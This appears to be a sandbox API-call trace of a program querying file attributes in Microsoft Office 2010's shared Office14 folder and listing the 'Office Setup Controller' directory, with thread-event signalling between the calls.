	[0050.471] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278acd8 | out: lpFileInformation=0x1278acd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780)) returned 1
	[0050.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278ad28 | out: lpFileInformation=0x1278ad28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50)) returned 1
	[0050.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), fInfoLevelId=0x0, lpFileInformation=0x1278ad78 | out: lpFileInformation=0x1278ad78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950)) returned 1
	[0050.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278adc8 | out: lpFileInformation=0x1278adc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80)) returned 1
	[0050.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278ae18 | out: lpFileInformation=0x1278ae18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980)) returned 1
	[0050.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278ae68 | out: lpFileInformation=0x1278ae68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370)) returned 1
	[0050.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), fInfoLevelId=0x0, lpFileInformation=0x1278aeb8 | out: lpFileInformation=0x1278aeb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b)) returned 1
	[0050.475] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278af08 | out: lpFileInformation=0x1278af08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190)) returned 1
	[0050.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278af58 | out: lpFileInformation=0x1278af58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568)) returned 1
	[0050.476] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278afa8 | out: lpFileInformation=0x1278afa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560)) returned 1
	[0050.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278aff8 | out: lpFileInformation=0x1278aff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88)) returned 1
	[0050.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), fInfoLevelId=0x0, lpFileInformation=0x1278b048 | out: lpFileInformation=0x1278b048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0)) returned 1
	[0050.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), fInfoLevelId=0x0, lpFileInformation=0x1278b098 | out: lpFileInformation=0x1278b098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88)) returned 1
	[0050.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), fInfoLevelId=0x0, lpFileInformation=0x1278b0e8 | out: lpFileInformation=0x1278b0e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.480] SetEvent (hEvent=0x80) returned 1
	[0050.480] SetEvent (hEvent=0x8c) returned 1
	[0050.480] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.481] SetEvent (hEvent=0x78) returned 1
	[0050.481] SetEvent (hEvent=0x8c) returned 1
	[0050.481] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.481] SetEvent (hEvent=0x80) returned 1
	[0050.481] SetEvent (hEvent=0x8c) returned 1
	[0050.482] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.482] SetEvent (hEvent=0x78) returned 1
	[0050.482] SetEvent (hEvent=0x8c) returned 1
	[0050.482] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.483] SetEvent (hEvent=0x80) returned 1
	[0050.483] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.485] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x7a0000
	[0050.486] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.487] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1
	[0050.489] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1
	[0050.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1
	[0050.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1
	[0050.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1
	[0050.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1
	[0050.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1
	[0050.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1
	[0050.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0050.490] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1
